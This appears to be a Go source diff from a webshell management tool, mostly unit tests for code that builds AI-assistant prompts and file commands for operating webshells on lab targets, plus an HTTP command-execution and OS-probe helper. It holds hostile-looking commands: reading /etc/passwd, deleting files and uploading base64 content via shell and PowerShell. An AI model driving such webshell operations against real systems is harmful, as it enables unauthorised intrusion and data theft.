"ws_win01",
|
||||
"IIS Windows 靶机",
|
||||
"目标系统:Windows",
|
||||
"dir /a",
|
||||
"move /y",
|
||||
"避免 ls / cat / rm",
|
||||
"响应编码:GBK",
|
||||
"后端已自动转码为 UTF-8",
|
||||
"connection_id 填 \"ws_win01\"",
|
||||
"webshell_exec、webshell_file_list",
|
||||
WebshellSkillHintDefault,
|
||||
"用户请求:列出当前目录并告诉我 flag 在哪",
|
||||
)
|
||||
// Windows 场景下不应出现 Linux 命令推荐
|
||||
mustNotContain(t, got, "推荐 sh/bash")
|
||||
}
|
||||
|
||||
func TestBuildWebshellAssistantContext_LinuxAutoFromPHP(t *testing.T) {
|
||||
conn := &database.WebShellConnection{
|
||||
ID: "ws_lnx01",
|
||||
Remark: "", // 测试备注为空时 fallback URL
|
||||
URL: "http://example.com/a.php",
|
||||
Type: "php",
|
||||
OS: "auto", // auto + php → linux
|
||||
Encoding: "", // auto 编码不显式提示
|
||||
}
|
||||
got := BuildWebshellAssistantContext(conn, WebshellSkillHintDefault, "看看 /etc/passwd")
|
||||
|
||||
mustContain(t, got,
|
||||
"连接 ID:ws_lnx01",
|
||||
"备注:http://example.com/a.php", // 备注空时 fallback URL
|
||||
"目标系统:Linux/Unix",
|
||||
"ls -la",
|
||||
"mkdir -p",
|
||||
"避免 dir、type、del、move",
|
||||
"用户请求:看看 /etc/passwd",
|
||||
)
|
||||
// encoding=auto 不应出现"响应编码:"这一行
|
||||
mustNotContain(t, got, "响应编码:")
|
||||
// Linux 场景不应出现 Windows 命令
|
||||
mustNotContain(t, got, "推荐 cmd/PowerShell")
|
||||
}
|
||||
|
||||
func TestBuildWebshellAssistantContext_AutoFromASPDefaultsToWindows(t *testing.T) {
|
||||
// 保留向后兼容:旧连接没配 os,shellType=asp 时应视为 Windows
|
||||
conn := &database.WebShellConnection{
|
||||
ID: "ws_asp01",
|
||||
Remark: "老 ASP 靶机",
|
||||
Type: "asp",
|
||||
OS: "", // 空串等同 auto
|
||||
Encoding: "gb18030",
|
||||
}
|
||||
got := BuildWebshellAssistantContext(conn, WebshellSkillHintMultiAgent, "查当前用户")
|
||||
|
||||
mustContain(t, got,
|
||||
"目标系统:Windows",
|
||||
"响应编码:GB18030",
|
||||
"后端已自动转码为 UTF-8 返回",
|
||||
WebshellSkillHintMultiAgent,
|
||||
)
|
||||
// 多代理 skill 文案里没有 DeepAgent,不应混入 default 文案
|
||||
mustNotContain(t, got, "DeepAgent")
|
||||
}
|
||||
|
||||
func TestBuildWebshellAssistantContext_MultiAgentSkillHint(t *testing.T) {
|
||||
conn := &database.WebShellConnection{ID: "ws_m1", Remark: "x", Type: "php", OS: "linux"}
|
||||
got := BuildWebshellAssistantContext(conn, WebshellSkillHintMultiAgent, "hi")
|
||||
mustContain(t, got, WebshellSkillHintMultiAgent)
|
||||
mustNotContain(t, got, "DeepAgent")
|
||||
}
|
||||
|
||||
func TestBuildWebshellAssistantContext_DefaultSkillHintFallback(t *testing.T) {
|
||||
conn := &database.WebShellConnection{ID: "ws_d1", Remark: "x", Type: "php", OS: "linux"}
|
||||
// skillHint 传空字符串时应回退到 default
|
||||
got := BuildWebshellAssistantContext(conn, "", "hi")
|
||||
mustContain(t, got, WebshellSkillHintDefault)
|
||||
}
|
||||
|
||||
func TestBuildWebshellAssistantContext_UTF8EncodingIsAnnotated(t *testing.T) {
|
||||
conn := &database.WebShellConnection{
|
||||
ID: "ws_u1", Remark: "u", Type: "jsp", OS: "linux", Encoding: "utf-8",
|
||||
}
|
||||
got := BuildWebshellAssistantContext(conn, WebshellSkillHintDefault, "hi")
|
||||
mustContain(t, got, "响应编码:UTF-8", "目标原生 UTF-8")
|
||||
}
|
||||
|
||||
func TestBuildWebshellAssistantContext_NilConnReturnsUserMsg(t *testing.T) {
|
||||
// 防御性:conn == nil 时不 panic,直接返回原消息
|
||||
got := BuildWebshellAssistantContext(nil, WebshellSkillHintDefault, "just the message")
|
||||
if got != "just the message" {
|
||||
t.Errorf("nil conn should return userMsg as-is, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDescribeTargetOSForPrompt(t *testing.T) {
|
||||
cases := map[string][]string{
|
||||
"windows": {"Windows", "dir /a", "move /y", "PowerShell"},
|
||||
"linux": {"Linux/Unix", "ls -la", "mkdir -p"},
|
||||
"": {"未知", "uname"}, // 防御性分支
|
||||
}
|
||||
for in, wants := range cases {
|
||||
got := describeTargetOSForPrompt(in)
|
||||
for _, w := range wants {
|
||||
if !strings.Contains(got, w) {
|
||||
t.Errorf("describeTargetOSForPrompt(%q) should contain %q, got: %s", in, w, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDescribeEncodingForPrompt(t *testing.T) {
|
||||
cases := map[string]string{
|
||||
"utf-8": "UTF-8",
|
||||
"gbk": "GBK",
|
||||
"gb18030": "GB18030",
|
||||
"auto": "",
|
||||
"": "",
|
||||
}
|
||||
for in, want := range cases {
|
||||
got := describeEncodingForPrompt(in)
|
||||
if want == "" && got != "" {
|
||||
t.Errorf("describeEncodingForPrompt(%q) should return empty string, got: %s", in, got)
|
||||
}
|
||||
if want != "" && !strings.Contains(got, want) {
|
||||
t.Errorf("describeEncodingForPrompt(%q) should contain %q, got: %s", in, want, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---- 小工具 ----
|
||||
|
||||
func mustContain(t *testing.T, text string, substrings ...string) {
|
||||
t.Helper()
|
||||
for _, s := range substrings {
|
||||
if !strings.Contains(text, s) {
|
||||
t.Errorf("expected text to contain %q\n--- text ---\n%s", s, text)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func mustNotContain(t *testing.T, text string, substrings ...string) {
|
||||
t.Helper()
|
||||
for _, s := range substrings {
|
||||
if strings.Contains(text, s) {
|
||||
t.Errorf("text should not contain %q\n--- text ---\n%s", s, text)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,103 @@
|
||||
package handler
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"golang.org/x/text/encoding/simplifiedchinese"
|
||||
"golang.org/x/text/transform"
|
||||
)
|
||||
|
||||
// mustEncode 使用指定编码对 UTF-8 字符串做编码,得到原始字节,用于构造测试输入
|
||||
func mustEncode(t *testing.T, s string, enc string) []byte {
|
||||
t.Helper()
|
||||
var tr transform.Transformer
|
||||
switch enc {
|
||||
case "gbk":
|
||||
tr = simplifiedchinese.GBK.NewEncoder()
|
||||
case "gb18030":
|
||||
tr = simplifiedchinese.GB18030.NewEncoder()
|
||||
default:
|
||||
t.Fatalf("unsupported test encoding: %s", enc)
|
||||
}
|
||||
out, _, err := transform.Bytes(tr, []byte(s))
|
||||
if err != nil {
|
||||
t.Fatalf("mustEncode(%s) failed: %v", enc, err)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func TestNormalizeWebshellEncoding(t *testing.T) {
|
||||
cases := map[string]string{
|
||||
"": "auto",
|
||||
" ": "auto",
|
||||
"auto": "auto",
|
||||
"AUTO": "auto",
|
||||
"utf-8": "utf-8",
|
||||
"UTF-8": "utf-8",
|
||||
"utf8": "utf-8",
|
||||
"gbk": "gbk",
|
||||
"GBK": "gbk",
|
||||
"gb18030": "gb18030",
|
||||
"big5": "auto", // 未支持的回退到 auto
|
||||
"anything": "auto",
|
||||
}
|
||||
for in, want := range cases {
|
||||
if got := normalizeWebshellEncoding(in); got != want {
|
||||
t.Errorf("normalizeWebshellEncoding(%q) = %q, want %q", in, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecodeWebshellOutput_AutoDetectsGBK(t *testing.T) {
|
||||
// 模拟 Windows 中文 cmd 输出的 GBK 字节流
|
||||
want := "用户名 SID 类型"
|
||||
raw := mustEncode(t, want, "gbk")
|
||||
|
||||
// auto 模式:UTF-8 校验失败后应当回退 GB18030 解码,得到原始中文
|
||||
got := decodeWebshellOutput(raw, "auto")
|
||||
if got != want {
|
||||
t.Errorf("decodeWebshellOutput(auto) = %q, want %q", got, want)
|
||||
}
|
||||
|
||||
// 显式 GBK 模式:同样应当正确解码
|
||||
got = decodeWebshellOutput(raw, "gbk")
|
||||
if got != want {
|
||||
t.Errorf("decodeWebshellOutput(gbk) = %q, want %q", got, want)
|
||||
}
|
||||
|
||||
// 显式 GB18030 模式:GBK 是 GB18030 子集,也应正确解码
|
||||
got = decodeWebshellOutput(raw, "gb18030")
|
||||
if got != want {
|
||||
t.Errorf("decodeWebshellOutput(gb18030) = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecodeWebshellOutput_PassthroughUTF8(t *testing.T) {
|
||||
// 已经是 UTF-8 的中文字符串,各模式都应返回原串(不破坏)
|
||||
want := "hello 世界"
|
||||
for _, enc := range []string{"", "auto", "utf-8"} {
|
||||
if got := decodeWebshellOutput([]byte(want), enc); got != want {
|
||||
t.Errorf("decodeWebshellOutput(%q) passthrough = %q, want %q", enc, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecodeWebshellOutput_ASCIIStable(t *testing.T) {
|
||||
// 纯 ASCII 在任何模式下都必须保持原样
|
||||
want := "whoami\nAdministrator\n"
|
||||
for _, enc := range []string{"", "auto", "utf-8", "gbk", "gb18030"} {
|
||||
if got := decodeWebshellOutput([]byte(want), enc); got != want {
|
||||
t.Errorf("decodeWebshellOutput(%q) ASCII = %q, want %q", enc, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecodeWebshellOutput_EmptyInput(t *testing.T) {
|
||||
// 空输入直接返回空串,不做额外分配
|
||||
if got := decodeWebshellOutput(nil, "gbk"); got != "" {
|
||||
t.Errorf("decodeWebshellOutput(nil) = %q, want empty", got)
|
||||
}
|
||||
if got := decodeWebshellOutput([]byte{}, "auto"); got != "" {
|
||||
t.Errorf("decodeWebshellOutput([]) = %q, want empty", got)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,348 @@
|
||||
package handler
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
func newTestWebShellHandler() *WebShellHandler {
|
||||
return NewWebShellHandler(zap.NewNop(), nil)
|
||||
}
|
||||
|
||||
func TestNormalizeWebshellOS(t *testing.T) {
|
||||
cases := map[string]string{
|
||||
"": "auto",
|
||||
" ": "auto",
|
||||
"auto": "auto",
|
||||
"AUTO": "auto",
|
||||
"linux": "linux",
|
||||
"Linux": "linux",
|
||||
"windows": "windows",
|
||||
"WINDOWS": "windows",
|
||||
"macos": "auto", // 未支持的回退 auto
|
||||
"solaris": "auto",
|
||||
}
|
||||
for in, want := range cases {
|
||||
if got := normalizeWebshellOS(in); got != want {
|
||||
t.Errorf("normalizeWebshellOS(%q) = %q, want %q", in, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveWebshellOS(t *testing.T) {
|
||||
type testCase struct {
|
||||
osTag string
|
||||
shellType string
|
||||
want string
|
||||
}
|
||||
cases := []testCase{
|
||||
// 显式 OS:按用户选择,忽略 shellType
|
||||
{"linux", "asp", "linux"},
|
||||
{"windows", "php", "windows"},
|
||||
{"LINUX", "jsp", "linux"},
|
||||
|
||||
// auto + 各种 shellType:asp/aspx → windows,其他 → linux
|
||||
{"auto", "asp", "windows"},
|
||||
{"auto", "aspx", "windows"},
|
||||
{"auto", "ASP", "windows"},
|
||||
{"auto", "php", "linux"},
|
||||
{"auto", "jsp", "linux"},
|
||||
{"auto", "custom", "linux"},
|
||||
{"auto", "", "linux"},
|
||||
|
||||
// 空/未知 OS 等价 auto
|
||||
{"", "asp", "windows"},
|
||||
{"", "php", "linux"},
|
||||
{"unknown", "aspx", "windows"},
|
||||
}
|
||||
for _, c := range cases {
|
||||
got := resolveWebshellOS(c.osTag, c.shellType)
|
||||
if got != c.want {
|
||||
t.Errorf("resolveWebshellOS(%q,%q) = %q, want %q", c.osTag, c.shellType, got, c.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestQuoteCmdPath(t *testing.T) {
|
||||
cases := map[string]string{
|
||||
"": `"."`,
|
||||
`C:\Windows\Temp`: `"C:\Windows\Temp"`,
|
||||
`C:\Program Files\a`: `"C:\Program Files\a"`,
|
||||
`C:\weird"name\f.txt`: `"C:\weird""name\f.txt"`,
|
||||
`.`: `"."`,
|
||||
}
|
||||
for in, want := range cases {
|
||||
if got := quoteCmdPath(in); got != want {
|
||||
t.Errorf("quoteCmdPath(%q) = %q, want %q", in, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestQuoteShellSinglePosix(t *testing.T) {
|
||||
cases := map[string]string{
|
||||
"": ".",
|
||||
"/tmp/a b": "'/tmp/a b'",
|
||||
"/tmp/it's.txt": `'/tmp/it'\''s.txt'`,
|
||||
}
|
||||
for in, want := range cases {
|
||||
if got := quoteShellSinglePosix(in); got != want {
|
||||
t.Errorf("quoteShellSinglePosix(%q) = %q, want %q", in, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestBuildFileCommand_LinuxBranch 覆盖 Linux 目标下每个 action 产出的命令
|
||||
func TestBuildFileCommand_LinuxBranch(t *testing.T) {
|
||||
h := newTestWebShellHandler()
|
||||
base := fileCommandInput{OS: "linux", ShellType: "php"}
|
||||
|
||||
mustContain := func(t *testing.T, cmd string, substrings ...string) {
|
||||
t.Helper()
|
||||
for _, s := range substrings {
|
||||
if !strings.Contains(cmd, s) {
|
||||
t.Errorf("expected command to contain %q, got: %s", s, cmd)
|
||||
}
|
||||
}
|
||||
}
|
||||
mustNotContain := func(t *testing.T, cmd string, substrings ...string) {
|
||||
t.Helper()
|
||||
for _, s := range substrings {
|
||||
if strings.Contains(cmd, s) {
|
||||
t.Errorf("command should not contain %q, got: %s", s, cmd)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// list with empty path defaults to '.'
|
||||
in := base
|
||||
in.Action = "list"
|
||||
cmd, err := h.buildFileCommand(in)
|
||||
if err != nil {
|
||||
t.Fatalf("list linux: unexpected err: %v", err)
|
||||
}
|
||||
mustContain(t, cmd, "ls -la", "'.'")
|
||||
|
||||
// list with path containing spaces
|
||||
in.Path = "/tmp/my files"
|
||||
cmd, _ = h.buildFileCommand(in)
|
||||
mustContain(t, cmd, "ls -la ", "'/tmp/my files'")
|
||||
|
||||
// read with path
|
||||
in = base
|
||||
in.Action = "read"
|
||||
in.Path = "/etc/passwd"
|
||||
cmd, _ = h.buildFileCommand(in)
|
||||
mustContain(t, cmd, "cat ", "'/etc/passwd'")
|
||||
|
||||
// read without path → error
|
||||
in.Path = ""
|
||||
if _, err := h.buildFileCommand(in); err != errFileOpPathRequired {
|
||||
t.Errorf("read empty path: want errFileOpPathRequired, got %v", err)
|
||||
}
|
||||
|
||||
// delete
|
||||
in = base
|
||||
in.Action = "delete"
|
||||
in.Path = "/tmp/a.txt"
|
||||
cmd, _ = h.buildFileCommand(in)
|
||||
mustContain(t, cmd, "rm -f ", "'/tmp/a.txt'")
|
||||
mustNotContain(t, cmd, "del")
|
||||
|
||||
// mkdir
|
||||
in.Action = "mkdir"
|
||||
in.Path = "/tmp/new/sub"
|
||||
cmd, _ = h.buildFileCommand(in)
|
||||
mustContain(t, cmd, "mkdir -p ", "'/tmp/new/sub'")
|
||||
|
||||
// rename
|
||||
in = base
|
||||
in.Action = "rename"
|
||||
in.Path = "/tmp/a"
|
||||
in.TargetPath = "/tmp/b"
|
||||
cmd, _ = h.buildFileCommand(in)
|
||||
mustContain(t, cmd, "mv -f ", "'/tmp/a'", "'/tmp/b'")
|
||||
|
||||
// rename missing target → error
|
||||
in.TargetPath = ""
|
||||
if _, err := h.buildFileCommand(in); err != errFileOpRenameNeedsBothPaths {
|
||||
t.Errorf("rename empty target: want errFileOpRenameNeedsBothPaths, got %v", err)
|
||||
}
|
||||
|
||||
// write
|
||||
in = base
|
||||
in.Action = "write"
|
||||
in.Path = "/tmp/w.txt"
|
||||
in.Content = "hello 世界"
|
||||
cmd, _ = h.buildFileCommand(in)
|
||||
b64 := base64.StdEncoding.EncodeToString([]byte("hello 世界"))
|
||||
mustContain(t, cmd, "echo '"+b64+"'", "| base64 -d", "> '/tmp/w.txt'")
|
||||
|
||||
// upload
|
||||
in = base
|
||||
in.Action = "upload"
|
||||
in.Path = "/tmp/bin"
|
||||
in.Content = "YWJjZA==" // base64 of "abcd"
|
||||
cmd, _ = h.buildFileCommand(in)
|
||||
mustContain(t, cmd, "echo 'YWJjZA=='", "| base64 -d", "> '/tmp/bin'")
|
||||
|
||||
// upload oversized content → error
|
||||
in.Content = strings.Repeat("A", 513*1024)
|
||||
if _, err := h.buildFileCommand(in); err != errFileOpUploadTooLarge {
|
||||
t.Errorf("upload too large: want errFileOpUploadTooLarge, got %v", err)
|
||||
}
|
||||
|
||||
// upload_chunk with chunk_index=0 uses single redirect
|
||||
in = base
|
||||
in.Action = "upload_chunk"
|
||||
in.Path = "/tmp/bin"
|
||||
in.Content = "YWJj"
|
||||
in.ChunkIndex = 0
|
||||
cmd, _ = h.buildFileCommand(in)
|
||||
mustContain(t, cmd, "base64 -d > '/tmp/bin'")
|
||||
mustNotContain(t, cmd, ">>")
|
||||
|
||||
// upload_chunk with chunk_index>0 uses append redirect
|
||||
in.ChunkIndex = 1
|
||||
cmd, _ = h.buildFileCommand(in)
|
||||
mustContain(t, cmd, "base64 -d >> '/tmp/bin'")
|
||||
|
||||
// unsupported action
|
||||
in = base
|
||||
in.Action = "nope"
|
||||
if _, err := h.buildFileCommand(in); err == nil || !strings.Contains(err.Error(), "unsupported action") {
|
||||
t.Errorf("unknown action: want unsupported action error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestBuildFileCommand_WindowsBranch 覆盖 Windows 目标下每个 action 产出的命令
|
||||
func TestBuildFileCommand_WindowsBranch(t *testing.T) {
|
||||
h := newTestWebShellHandler()
|
||||
base := fileCommandInput{OS: "windows", ShellType: "php"}
|
||||
|
||||
mustContain := func(t *testing.T, cmd string, substrings ...string) {
|
||||
t.Helper()
|
||||
for _, s := range substrings {
|
||||
if !strings.Contains(cmd, s) {
|
||||
t.Errorf("expected command to contain %q, got: %s", s, cmd)
|
||||
}
|
||||
}
|
||||
}
|
||||
mustNotContain := func(t *testing.T, cmd string, substrings ...string) {
|
||||
t.Helper()
|
||||
for _, s := range substrings {
|
||||
if strings.Contains(cmd, s) {
|
||||
t.Errorf("command should not contain %q, got: %s", s, cmd)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// list
|
||||
in := base
|
||||
in.Action = "list"
|
||||
cmd, _ := h.buildFileCommand(in)
|
||||
mustContain(t, cmd, "dir /a ", `"."`)
|
||||
mustNotContain(t, cmd, "ls -la")
|
||||
|
||||
in.Path = `C:\Users\Public Docs`
|
||||
cmd, _ = h.buildFileCommand(in)
|
||||
mustContain(t, cmd, "dir /a ", `"C:\Users\Public Docs"`)
|
||||
|
||||
// read
|
||||
in = base
|
||||
in.Action = "read"
|
||||
in.Path = `C:\flag.txt`
|
||||
cmd, _ = h.buildFileCommand(in)
|
||||
mustContain(t, cmd, "type ", `"C:\flag.txt"`)
|
||||
|
||||
// delete
|
||||
in.Action = "delete"
|
||||
cmd, _ = h.buildFileCommand(in)
|
||||
mustContain(t, cmd, "del /q /f ", `"C:\flag.txt"`)
|
||||
mustNotContain(t, cmd, "rm -f")
|
||||
|
||||
// mkdir
|
||||
in.Action = "mkdir"
|
||||
in.Path = `C:\a\b\c`
|
||||
cmd, _ = h.buildFileCommand(in)
|
||||
mustContain(t, cmd, "md ", `"C:\a\b\c"`)
|
||||
|
||||
// rename
|
||||
in = base
|
||||
in.Action = "rename"
|
||||
in.Path = `C:\a.txt`
|
||||
in.TargetPath = `C:\b.txt`
|
||||
cmd, _ = h.buildFileCommand(in)
|
||||
mustContain(t, cmd, "move /y ", `"C:\a.txt"`, `"C:\b.txt"`)
|
||||
|
||||
// write → PowerShell base64 one-liner
|
||||
in = base
|
||||
in.Action = "write"
|
||||
in.Path = `C:\out.txt`
|
||||
in.Content = "hello 世界"
|
||||
cmd, _ = h.buildFileCommand(in)
|
||||
wantB64 := base64.StdEncoding.EncodeToString([]byte("hello 世界"))
|
||||
mustContain(t, cmd,
|
||||
"powershell -NoProfile -NonInteractive -Command",
|
||||
"[Convert]::FromBase64String('"+wantB64+"')",
|
||||
"[IO.File]::WriteAllBytes('C:\\out.txt'",
|
||||
)
|
||||
mustNotContain(t, cmd, "echo ", "base64 -d")
|
||||
|
||||
// upload (chunk_index=0 equivalent) uses WriteAllBytes
|
||||
in = base
|
||||
in.Action = "upload"
|
||||
in.Path = `C:\bin\f`
|
||||
in.Content = "YWJjZA=="
|
||||
cmd, _ = h.buildFileCommand(in)
|
||||
mustContain(t, cmd, "WriteAllBytes('C:\\bin\\f'", "FromBase64String('YWJjZA==')")
|
||||
|
||||
// upload_chunk index=0 → WriteAllBytes
|
||||
in.Action = "upload_chunk"
|
||||
in.ChunkIndex = 0
|
||||
cmd, _ = h.buildFileCommand(in)
|
||||
mustContain(t, cmd, "WriteAllBytes(")
|
||||
mustNotContain(t, cmd, "FileMode]::Append")
|
||||
|
||||
// upload_chunk index>0 → append (Open with Append mode)
|
||||
in.ChunkIndex = 1
|
||||
cmd, _ = h.buildFileCommand(in)
|
||||
mustContain(t, cmd, "[IO.FileMode]::Append", "FromBase64String('YWJjZA==')")
|
||||
}
|
||||
|
||||
// TestBuildFileCommand_AutoFallbackMatchesLegacyBehavior 确保 os=auto 时与旧版 shellType 判定行为完全一致
|
||||
// asp/aspx 视为 Windows(旧行为),其他视为 Linux。
|
||||
func TestBuildFileCommand_AutoFallbackMatchesLegacyBehavior(t *testing.T) {
|
||||
h := newTestWebShellHandler()
|
||||
|
||||
// asp + auto → windows 命令
|
||||
cmd, _ := h.buildFileCommand(fileCommandInput{Action: "list", OS: "auto", ShellType: "asp"})
|
||||
if !strings.Contains(cmd, "dir /a") {
|
||||
t.Errorf("auto + asp should use Windows cmd, got: %s", cmd)
|
||||
}
|
||||
|
||||
cmd, _ = h.buildFileCommand(fileCommandInput{Action: "list", OS: "auto", ShellType: "aspx"})
|
||||
if !strings.Contains(cmd, "dir /a") {
|
||||
t.Errorf("auto + aspx should use Windows cmd, got: %s", cmd)
|
||||
}
|
||||
|
||||
// php/jsp/custom + auto → linux 命令(与历史行为一致)
|
||||
for _, st := range []string{"php", "jsp", "custom", ""} {
|
||||
cmd, _ = h.buildFileCommand(fileCommandInput{Action: "list", OS: "auto", ShellType: st})
|
||||
if !strings.Contains(cmd, "ls -la") {
|
||||
t.Errorf("auto + %q should use Linux cmd, got: %s", st, cmd)
|
||||
}
|
||||
}
|
||||
|
||||
// 显式 OS 覆盖 shellType
|
||||
cmd, _ = h.buildFileCommand(fileCommandInput{Action: "list", OS: "windows", ShellType: "php"})
|
||||
if !strings.Contains(cmd, "dir /a") {
|
||||
t.Errorf("explicit windows should override php shellType, got: %s", cmd)
|
||||
}
|
||||
cmd, _ = h.buildFileCommand(fileCommandInput{Action: "list", OS: "linux", ShellType: "asp"})
|
||||
if !strings.Contains(cmd, "ls -la") {
|
||||
t.Errorf("explicit linux should override asp shellType, got: %s", cmd)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,127 @@
|
||||
package handler
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// webshellOSProbeCommand 探活命令:利用 Windows cmd 与 POSIX shell 对 `%OS%` 展开差异进行判定。
|
||||
// - Windows cmd:`%OS%` 被展开为 `Windows_NT`,回显 `:OSPROBE_Windows_NT:END`
|
||||
// - POSIX sh/bash:`%OS%` 不是变量语法,作为字面量原样保留,回显 `:OSPROBE_%OS%:END`
|
||||
//
|
||||
// 一条命令即可得到明确的、互斥的信号,避免探活成本(相比发两次命令)。
|
||||
// 冒号包裹是为了避免部分 shell 输出多余空白/BOM 时字符串匹配失效。
|
||||
const webshellOSProbeCommand = "echo :OSPROBE_%OS%:END"
|
||||
|
||||
// probeWebshellOSViaExec 通过一次命令执行的回显推断目标操作系统。
|
||||
//
|
||||
// 返回值:
|
||||
// - "windows" / "linux":识别成功
|
||||
// - "":无法判定(调用方应保留既有 fallback 逻辑)
|
||||
//
|
||||
// 入参 execFn 是一个"发命令并拿到回显"的闭包;让 HTTP 入口和 MCP 入口可以共用同一套探活逻辑
|
||||
// 而不必关心底层是如何发包的。
|
||||
func probeWebshellOSViaExec(execFn func(cmd string) (output string, ok bool)) string {
|
||||
if execFn == nil {
|
||||
return ""
|
||||
}
|
||||
out, ok := execFn(webshellOSProbeCommand)
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
return classifyWebshellOSProbeOutput(out)
|
||||
}
|
||||
|
||||
// classifyWebshellOSProbeOutput 纯函数:根据探活命令的回显判定 OS。
|
||||
// 抽出来是为了单测可直接覆盖所有分支,无需真实 HTTP 调用。
|
||||
func classifyWebshellOSProbeOutput(out string) string {
|
||||
if out == "" {
|
||||
return ""
|
||||
}
|
||||
lower := strings.ToLower(out)
|
||||
|
||||
// Windows 强信号:cmd.exe 成功展开了 %OS% 变量
|
||||
if strings.Contains(out, "Windows_NT") {
|
||||
return "windows"
|
||||
}
|
||||
// 容错:部分老版本 Windows 可能 `%OS%` 展开为其他字样(极少见),再看 PATH/OS 等次级线索
|
||||
if strings.Contains(lower, "microsoft windows") {
|
||||
return "windows"
|
||||
}
|
||||
|
||||
// Linux/Unix 强信号:`%OS%` 字面量被原样回显,说明 shell 不是 cmd.exe
|
||||
if strings.Contains(out, "%OS%") {
|
||||
return "linux"
|
||||
}
|
||||
|
||||
// 次级线索:部分 webshell 在 Linux 上可能走了其他外壳(如 zsh/ash),
|
||||
// 但它们对 `%OS%` 同样不展开;若命中 OSPROBE 头部却没拿到 %OS% 字面量,
|
||||
// 说明回显被中途截断或过滤,保守返回空让上层 fallback。
|
||||
return ""
|
||||
}
|
||||
|
||||
// newHTTPExecFn 为 HTTP FileOp 路径构造"发命令取回显"的闭包,供探活复用。
|
||||
// 参数来自 HTTP 请求,复用 buildExecURL / buildExecBody 两个已有的命令编排器,
|
||||
// 确保探活包与实际文件操作包走完全一致的 webshell 协议(GET/POST、参数名、编码)。
|
||||
func (h *WebShellHandler) newHTTPExecFn(targetURL, password, shellType, method, cmdParam, encoding string) func(string) (string, bool) {
|
||||
useGET := strings.ToUpper(strings.TrimSpace(method)) == "GET"
|
||||
if strings.TrimSpace(cmdParam) == "" {
|
||||
cmdParam = "cmd"
|
||||
}
|
||||
return func(cmd string) (string, bool) {
|
||||
var (
|
||||
httpReq *http.Request
|
||||
err error
|
||||
)
|
||||
if useGET {
|
||||
u := h.buildExecURL(targetURL, shellType, password, cmdParam, cmd)
|
||||
httpReq, err = http.NewRequest(http.MethodGet, u, nil)
|
||||
} else {
|
||||
body := h.buildExecBody(shellType, password, cmdParam, cmd)
|
||||
httpReq, err = http.NewRequest(http.MethodPost, targetURL, bytes.NewReader(body))
|
||||
if err == nil {
|
||||
httpReq.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
return "", false
|
||||
}
|
||||
httpReq.Header.Set("User-Agent", "Mozilla/5.0 (compatible; CyberStrikeAI-WebShell/1.0)")
|
||||
resp, err := h.client.Do(httpReq)
|
||||
if err != nil {
|
||||
return "", false
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
raw, _ := io.ReadAll(resp.Body)
|
||||
return decodeWebshellOutput(raw, encoding), resp.StatusCode == http.StatusOK
|
||||
}
|
||||
}
|
||||
|
||||
// persistDetectedOS 把探活结果回写到连接表;失败只记日志不阻断主流程。
|
||||
// 设计上故意只触发 UPDATE,不会新建记录,因此即便 connectionID 不存在也只是悄悄放弃。
|
||||
func (h *WebShellHandler) persistDetectedOS(connectionID, detected string) {
|
||||
connectionID = strings.TrimSpace(connectionID)
|
||||
detected = normalizeWebshellOS(detected)
|
||||
if connectionID == "" || detected == "" || detected == "auto" {
|
||||
return
|
||||
}
|
||||
conn, err := h.db.GetWebshellConnection(connectionID)
|
||||
if err != nil || conn == nil {
|
||||
// 不是所有调用方都能提供有效 ID(比如临时测试),这里静默返回
|
||||
return
|
||||
}
|
||||
if normalizeWebshellOS(conn.OS) != "auto" {
|
||||
// 用户已经显式选过 OS,尊重用户选择,不自动覆盖
|
||||
return
|
||||
}
|
||||
conn.OS = detected
|
||||
if err := h.db.UpdateWebshellConnection(conn); err != nil {
|
||||
h.logger.Warn("webshell 探活结果持久化失败", zap.String("id", connectionID), zap.String("os", detected), zap.Error(err))
|
||||
return
|
||||
}
|
||||
h.logger.Info("webshell auto OS 探活成功并持久化", zap.String("id", connectionID), zap.String("os", detected))
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
package handler
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestClassifyWebshellOSProbeOutput(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
in string
|
||||
want string
|
||||
}{
|
||||
{"Windows cmd 回显完整", ":OSPROBE_Windows_NT:END\r\n", "windows"},
|
||||
{"Windows cmd 回显带额外空行", "\r\n:OSPROBE_Windows_NT:END\r\n", "windows"},
|
||||
{"Windows 次级线索 - ver banner", "Microsoft Windows [版本 10.0.19045]\r\n", "windows"},
|
||||
{"Linux sh 字面量回显", ":OSPROBE_%OS%:END\n", "linux"},
|
||||
{"Linux 紧凑输出(无换行)", ":OSPROBE_%OS%:END", "linux"},
|
||||
{"空输出 - 无法判定", "", ""},
|
||||
